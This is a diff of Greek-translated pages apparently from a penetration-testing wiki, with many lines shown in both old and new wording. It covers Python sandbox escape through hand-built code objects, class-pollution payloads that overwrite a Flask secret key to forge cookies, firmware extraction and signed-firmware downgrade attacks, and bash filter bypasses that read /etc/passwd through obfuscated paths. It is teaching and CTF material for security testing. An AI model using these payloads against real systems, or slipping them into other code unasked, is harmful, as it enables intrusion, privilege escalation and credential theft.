### Δημιουργία του αντικειμένου κώδικα
Πρώτα απ' όλα, πρέπει να γνωρίζουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει:
Πρώτα απ' όλα, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -957,7 +958,7 @@ mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!NOTE]
> [!TIP]
> Ανάλογα με την έκδοση python, οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να γνωρίζετε τη σειρά των παραμέτρων στην έκδοση python που εκτελείτε είναι να εκτελέσετε:
>
> ```
@ -966,7 +967,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Αναδημιουργία μιας διαρροής συνάρτησης
### Recreating a leaked function
> [!WARNING]
> Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτές που **θα χρειαστεί να διαρρεύσουν**.
@ -982,10 +983,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
In previous examples at the beginning of this post, you can see **πώς να εκτελέσετε οποιοδήποτε python κώδικα χρησιμοποιώντας τη συνάρτηση `compile`**. This is interesting because you can **εκτελέσετε ολόκληρα σενάρια** με βρόχους και όλα σε μια **μία γραμμή** (and we could do the same using **`exec`**).\
Anyway, sometimes it could be useful to **δημιουργήσετε** ένα **συμπιεσμένο αντικείμενο** σε μια τοπική μηχανή και να το εκτελέσετε στη **μηχανή CTF** (for example because we don't have the `compiled` function in the CTF).
In previous examples at the beginning of this post, you can see **how to execute any python code using the `compile` function**. This is interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\
Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF).
For example, let's compile and execute manually a function that reads _./poc.py_:
Για παράδειγμα, ας μεταγλωττίσουμε και εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει _./poc.py_:
```python
#Locally
def read():
@ -1012,7 +1013,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένο περιβάλλον_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.**
Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένο τρόπο_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1026,6 +1027,7 @@ f(42)
**Δείτε αυτό το σεμινάριο**:
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
@ -1034,7 +1036,7 @@ f(42)
### Assert
Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που είναι υπό όρους στην τιμή του **debug**.\
Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που είναι υπό όρους με την τιμή του **debug**.\
Επομένως, ελέγχοι όπως
```python
def check_permission(super_user):

View File

@ -4,7 +4,7 @@
## Βασικό Παράδειγμα
Ελέγξτε πώς είναι δυνατόν να ρυπαίνουμε κλάσεις αντικειμένων με συμβολοσειρές:
Δείτε πώς είναι δυνατόν να ρυπαίνουμε κλάσεις αντικειμένων με συμβολοσειρές:
```python
class Company: pass
class Developer(Company): pass
@ -116,7 +116,7 @@ print(system_admin_emp.execute_command())
<details>
<summary>Μόλυνση άλλων κλάσεων και παγκόσμιων μεταβλητών μέσω <code>globals</code></summary>
<summary>Μολύνοντας άλλες κλάσεις και παγκόσμιες μεταβλητές μέσω <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
@ -182,7 +182,7 @@ subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
<summary>Επικαλύπτοντας <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** είναι ένα ειδικό χαρακτηριστικό όλων των συναρτήσεων, βασισμένο στην τεκμηρίωση της Python [documentation](https://docs.python.org/3/library/inspect.html), είναι μια “χαρτογράφηση οποιωνδήποτε προεπιλεγμένων τιμών για **μόνο-λέξεις-κλειδιά** παραμέτρους”. Η ρύπανση αυτού του χαρακτηριστικού μας επιτρέπει να ελέγχουμε τις προεπιλεγμένες τιμές των παραμέτρων μόνο-λέξεις-κλειδιά μιας συνάρτησης, αυτές είναι οι παράμετροι της συνάρτησης που έρχονται μετά το \* ή \*args.
**`__kwdefaults__`** είναι ένα ειδικό χαρακτηριστικό όλων των συναρτήσεων, βασισμένο στην τεκμηρίωση της Python [documentation](https://docs.python.org/3/library/inspect.html), είναι μια “χαρτογράφηση οποιωνδήποτε προεπιλεγμένων τιμών για **μόνο-λέξεις-κλειδιά** παραμέτρους”. Η ρύπανση αυτού του χαρακτηριστικού μας επιτρέπει να ελέγχουμε τις προεπιλεγμένες τιμές των παραμέτρων μόνο-λέξεων-κλειδιών μιας συνάρτησης, αυτές είναι οι παράμετροι της συνάρτησης που έρχονται μετά το \* ή \*args.
```python
from os import system
import json
@ -226,7 +226,7 @@ execute() #> Executing echo Polluted
<summary>Επικαλύπτοντας το μυστικό του Flask σε διάφορα αρχεία</summary>
Έτσι, αν μπορείτε να κάνετε class pollution σε ένα αντικείμενο που ορίζεται στο κύριο αρχείο python του ιστότοπου αλλά **η κλάση του ορίζεται σε διαφορετικό αρχείο** από το κύριο. Επειδή για να αποκτήσετε πρόσβαση στο \_\_globals\_\_ στις προηγούμενες payloads χρειάζεται να αποκτήσετε πρόσβαση στην κλάση του αντικειμένου ή στις μεθόδους της κλάσης, θα μπορείτε να **έχετε πρόσβαση στα globals σε εκείνο το αρχείο, αλλά όχι στο κύριο**. \
Επομένως, **δεν θα μπορείτε να αποκτήσετε πρόσβαση στο παγκόσμιο αντικείμενο της εφαρμογής Flask** που ορίζει το **μυστικό κλειδί** στη κύρια σελίδα:
Επομένως, **δεν θα μπορείτε να αποκτήσετε πρόσβαση στο παγκόσμιο αντικείμενο της εφαρμογής Flask** που ορίζει το **μυστικό κλειδί** στην κύρια σελίδα:
```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
@ -237,7 +237,7 @@ app.secret_key = '(:secret:)'
```python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
```
Χρησιμοποιήστε αυτό το payload για να **αλλάξετε το `app.secret_key`** (το όνομα στην εφαρμογή σας μπορεί να είναι διαφορετικό) ώστε να μπορείτε να υπογράφετε νέα και πιο προνομιακά cookies flask.
Χρησιμοποιήστε αυτό το payload για να **αλλάξετε το `app.secret_key`** (το όνομα στην εφαρμογή σας μπορεί να είναι διαφορετικό) ώστε να μπορείτε να υπογράφετε νέα και πιο προνόμια flask cookies.
</details>

View File

@ -10,7 +10,7 @@
synology-encrypted-archive-decryption.md
{{#endref}}
Το firmware είναι το απαραίτητο λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά, διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών στοιχείων και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, διασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικής σημασίας οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την αναγνώριση ευπαθειών ασφαλείας.
Το firmware είναι το βασικό λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά, διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών στοιχείων και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, διασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικής σημασίας οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την αναγνώριση ευπαθειών ασφαλείας.
## **Συλλογή Πληροφοριών**
@ -19,13 +19,13 @@ synology-encrypted-archive-decryption.md
- Την αρχιτεκτονική CPU και το λειτουργικό σύστημα που εκτελεί
- Λεπτομέρειες bootloader
- Διάταξη υλικού και φύλλα δεδομένων
- Μετρικές κώδικα και τοποθεσίες πηγής
- Μετρήσεις κώδικα και τοποθεσίες πηγής
- Εξωτερικές βιβλιοθήκες και τύπους αδειών
- Ιστορικά ενημερώσεων και ρυθμιστικές πιστοποιήσεις
- Αρχιτεκτονικά και ροογράμματα
- Αξιολογήσεις ασφαλείας και αναγνωρισμένες ευπάθειες
Για αυτόν τον σκοπό, τα εργαλεία **ανοιχτής πηγής (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων στοιχείων λογισμικού ανοιχτής πηγής μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmles LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
Για αυτόν τον σκοπό, τα εργαλεία **ανοιχτής πηγής (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων ανοιχτών λογισμικών στοιχείων μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmles LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
## **Απόκτηση του Firmware**
@ -54,7 +54,7 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E <bin>`, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιο τρόπο).
Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E <bin>`, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιον τρόπο).
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξάγετε **αρχεία που είναι ενσωματωμένα μέσα στο firmware**:
@ -71,7 +71,7 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
#### Χειροκίνητη Εξαγωγή Συστήματος Αρχείων
Μερικές φορές, το binwalk **δεν θα έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε την απόσταση του συστήματος αρχείων και να carve το συμπιεσμένο σύστημα αρχείων** από το δυαδικό και **να εξάγετε χειροκίνητα** το σύστημα αρχείων σύμφωνα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα.
Μερικές φορές, το binwalk δεν θα **έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε την απόσταση του συστήματος αρχείων και να χαράξετε το συμπιεσμένο σύστημα αρχείων** από το δυαδικό και **να εξάγετε χειροκίνητα** το σύστημα αρχείων σύμφωνα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα.
```
$ binwalk DIR850L_REVB.bin
@ -93,7 +93,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Εναλλακτικά, η ακόλουθη εντολή θα μπορούσε επίσης να εκτελεστεί.
Εναλλακτικά, η παρακάτω εντολή μπορεί επίσης να εκτελεστεί.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
@ -132,13 +132,13 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με `binwalk -E <bin>`. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδεικνύει πιθανή κρυπτογράφηση ή συμπίεση.
Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με το `binwalk -E <bin>`. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδεικνύει πιθανή κρυπτογράφηση ή συμπίεση.
Για την εξαγωγή **ενσωματωμένων αρχείων**, προτείνονται εργαλεία και πόροι όπως η τεκμηρίωση **file-data-carving-recovery-tools** και το **binvis.io** για επιθεώρηση αρχείων.
### Εξαγωγή του Συστήματος Αρχείων
Χρησιμοποιώντας `binwalk -ev <bin>`, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω απουσίας μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων:
Χρησιμοποιώντας το `binwalk -ev <bin>`, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω έλλειψης μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων:
```bash
$ binwalk DIR850L_REVB.bin
@ -148,15 +148,15 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
### Ανάλυση Συστήματος Αρχείων
Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά αρχεία για ανάλυση εκτός σύνδεσης.
Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά για ανάλυση εκτός σύνδεσης.
**Κύριες τοποθεσίες** και **αντικείμενα** προς επιθεώρηση περιλαμβάνουν:
- **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρηστών
- Πιστοποιητικά SSL και κλειδιά στο **etc/ssl**
- Αρχεία ρυθμίσεων και σεναρίων για πιθανές ευπάθειες
- Ενσωματωμένα δυαδικά αρχεία για περαιτέρω ανάλυση
- Κοινές διαδικτυακές υπηρεσίες και δυαδικά αρχεία IoT συσκευών
- Ενσωματωμένα δυαδικά για περαιτέρω ανάλυση
- Κοινές διαδικτυακές υπηρεσίες και δυαδικά IoT συσκευών
Πολλά εργαλεία βοηθούν στην αποκάλυψη ευαίσθητων πληροφοριών και ευπαθειών εντός του συστήματος αρχείων:
@ -164,21 +164,21 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) για ολοκληρωμένη ανάλυση firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση
### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά Αρχεία
### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά αρχεία που βρίσκονται στο σύστημα αρχείων πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά αρχεία Unix και το **PESecurity** για δυαδικά αρχεία Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών αρχείων που θα μπορούσαν να εκμεταλλευτούν.
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά που βρίσκονται στο σύστημα αρχείων πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά Unix και το **PESecurity** για δυαδικά Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών που θα μπορούσαν να εκμεταλλευτούν.
## Προσομοίωση Firmware για Δυναμική Ανάλυση
Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών αρχείων σε μια συσκευή με αντίστοιχη αρχιτεκτονική και εντοπισμό, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών σε μια συσκευή με αντίστοιχη αρχιτεκτονική και εντολή, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
### Προσομοίωση Μεμονωμένων Δυαδικών Αρχείων
### Προσομοίωση Μεμονωμένων Δυαδικών
Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση του εντοπισμού και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη.
Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση της εντολής και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη.
#### Παράδειγμα με Αρχιτεκτονική MIPS
Για να προσομοιωθεί ένα δυαδικό αρχείο αρχιτεκτονικής MIPS, μπορεί να χρησιμοποιηθεί η εντολή:
Για να προσομοιωθεί ένα δυαδικό αρχιτεκτονικής MIPS, μπορεί να χρησιμοποιηθεί η εντολή:
```bash
file ./squashfs-root/bin/busybox
```
@ -190,7 +190,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
#### Προσομοίωση Αρχιτεκτονικής ARM
Για τα δυαδικά ARM, η διαδικασία είναι παρόμοια, με τον προσομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση.
Για δυαδικά ARM, η διαδικασία είναι παρόμοια, με τον προσομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση.
### Πλήρης Προσομοίωση Συστήματος
@ -206,20 +206,20 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
## Εκμετάλλευση Δυαδικών και Απόδειξη της Έννοιας
Η ανάπτυξη ενός PoC για τις αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες runtime σε δυαδικά συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες.
Η ανάπτυξη ενός PoC για τις αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες σε χρόνο εκτέλεσης δυαδικών σε ενσωματωμένα συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες.
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προ-ρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία.
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία.
## Προετοιμασμένα OS για ανάλυση Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προ-ρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 με προφορτωμένα εργαλεία δοκιμών ασφάλειας firmware.
## Επιθέσεις Υποβάθμισης Firmware & Ανασφαλείς Μηχανισμοί Ενημέρωσης
Ακόμα και όταν ένας προμηθευτής εφαρμόζει ελέγχους κρυπτογραφικής υπογραφής για εικόνες firmware, **η προστασία από υποβάθμιση (rollback) εκλείπει συχνά**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο την υπογραφή με μια ενσωματωμένη δημόσια κλειδί αλλά δεν συγκρίνει την *έκδοση* (ή έναν μονοτονικό μετρητή) της εικόνας που αναβοσβήνει, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που φέρει ακόμα μια έγκυρη υπογραφή** και έτσι να επαναφέρει τις ευπάθειες που έχουν διορθωθεί.
Ακόμα και όταν ένας προμηθευτής εφαρμόζει ελέγχους κρυπτογραφικής υπογραφής για εικόνες firmware, **η προστασία από υποβάθμιση (rollback) εκλείπει συχνά**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο την υπογραφή με μια ενσωματωμένη δημόσια κλειδί αλλά δεν συγκρίνει την *έκδοση* (ή έναν μονοτονικό μετρητή) της εικόνας που αναβοσβήνει, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που εξακολουθεί να φέρει μια έγκυρη υπογραφή** και έτσι να επαναφέρει τις ευπάθειες που έχουν διορθωθεί.
Τυπική ροή επίθεσης:
@ -231,7 +231,7 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
* Web UI, API εφαρμογής κινητού, USB, TFTP, MQTT, κ.λπ.
* Πολλές συσκευές IoT καταναλωτών εκθέτουν *μη αυθεντικοποιημένα* HTTP(S) endpoints που δέχονται Base64-encoded firmware blobs, τα αποκωδικοποιούν στην πλευρά του διακομιστή και ενεργοποιούν την ανάκτηση/αναβάθμιση.
3. Μετά την υποβάθμιση, εκμεταλλευτείτε μια ευπάθεια που έχει διορθωθεί στην νεότερη έκδοση (για παράδειγμα, ένα φίλτρο εντολών που προστέθηκε αργότερα).
4. Προαιρετικά αναβοσβήστε την τελευταία εικόνα πίσω ή απενεργοποιήστε τις ενημερώσεις για να αποφύγετε την ανίχνευση μόλις αποκτηθεί η επιμονή.
4. Προαιρετικά, αναβοσβήστε την τελευταία εικόνα πίσω ή απενεργοποιήστε τις ενημερώσεις για να αποφύγετε την ανίχνευση μόλις αποκτηθεί η επιμονή.
### Παράδειγμα: Εκτέλεση Εντολών Μετά την Υποβάθμιση
```http
@ -253,12 +253,12 @@ firmware_v1.3.11.490_signed.bin
### Λίστα Ελέγχου για την Αξιολόγηση Λογικής Ενημέρωσης
* Είναι η μεταφορά/αυθεντικοποίηση του *endpoint ενημέρωσης* επαρκώς προστατευμένη (TLS + αυθεντικοποίηση);
* Συγκρίνει η συσκευή **αριθμούς εκδόσεων** ή έναν **μονοτονικό μετρητή αντεπίθεσης** πριν από την αναβάθμιση;
* Συγκρίνει η συσκευή **αριθμούς εκδόσεων** ή έναν **μονοτονικό μετρητή αντεπίστροφης αναίρεσης** πριν από την αναβάθμιση;
* Επαληθεύεται η εικόνα μέσα σε μια ασφαλή αλυσίδα εκκίνησης (π.χ. υπογραφές που ελέγχονται από κώδικα ROM);
* Εκτελεί ο κώδικας του χρήστη επιπλέον ελέγχους εγκυρότητας (π.χ. επιτρεπόμενος χάρτης κατατμήσεων, αριθμός μοντέλου);
* Επαναχρησιμοποιούν οι ροές *μερικής* ή *αντίγραφης* ενημέρωσης την ίδια λογική επικύρωσης;
* Χρησιμοποιούν οι ροές *μερικής* ή *αντίγραφης* ενημέρωσης την ίδια λογική επικύρωσης;
> 💡 Εάν λείπει οποιοδήποτε από τα παραπάνω, η πλατφόρμα είναι πιθανό να είναι ευάλωτη σε επιθέσεις αντεπίθεσης.
> 💡 Εάν λείπει οποιοδήποτε από τα παραπάνω, η πλατφόρμα είναι πιθανό να είναι ευάλωτη σε επιθέσεις αντεπίστροφης αναίρεσης.
## Ευάλωτο firmware για πρακτική
@ -266,7 +266,7 @@ firmware_v1.3.11.490_signed.bin
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- Το Damn Vulnerable Router Firmware Project
- Το Έργο Firmware Ρουτερ με Σημαντικές Ευπάθειες
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)

View File

@ -105,7 +105,7 @@ echo "ls\x09-l" | bash
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Παράκαμψη της κάθετης και της οριζόντιας γραμμής
### Παράκαμψη της αντίστροφης και της κανονικής κάθετης γραμμής
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
@ -145,7 +145,7 @@ echo ${PATH:0:1} #/
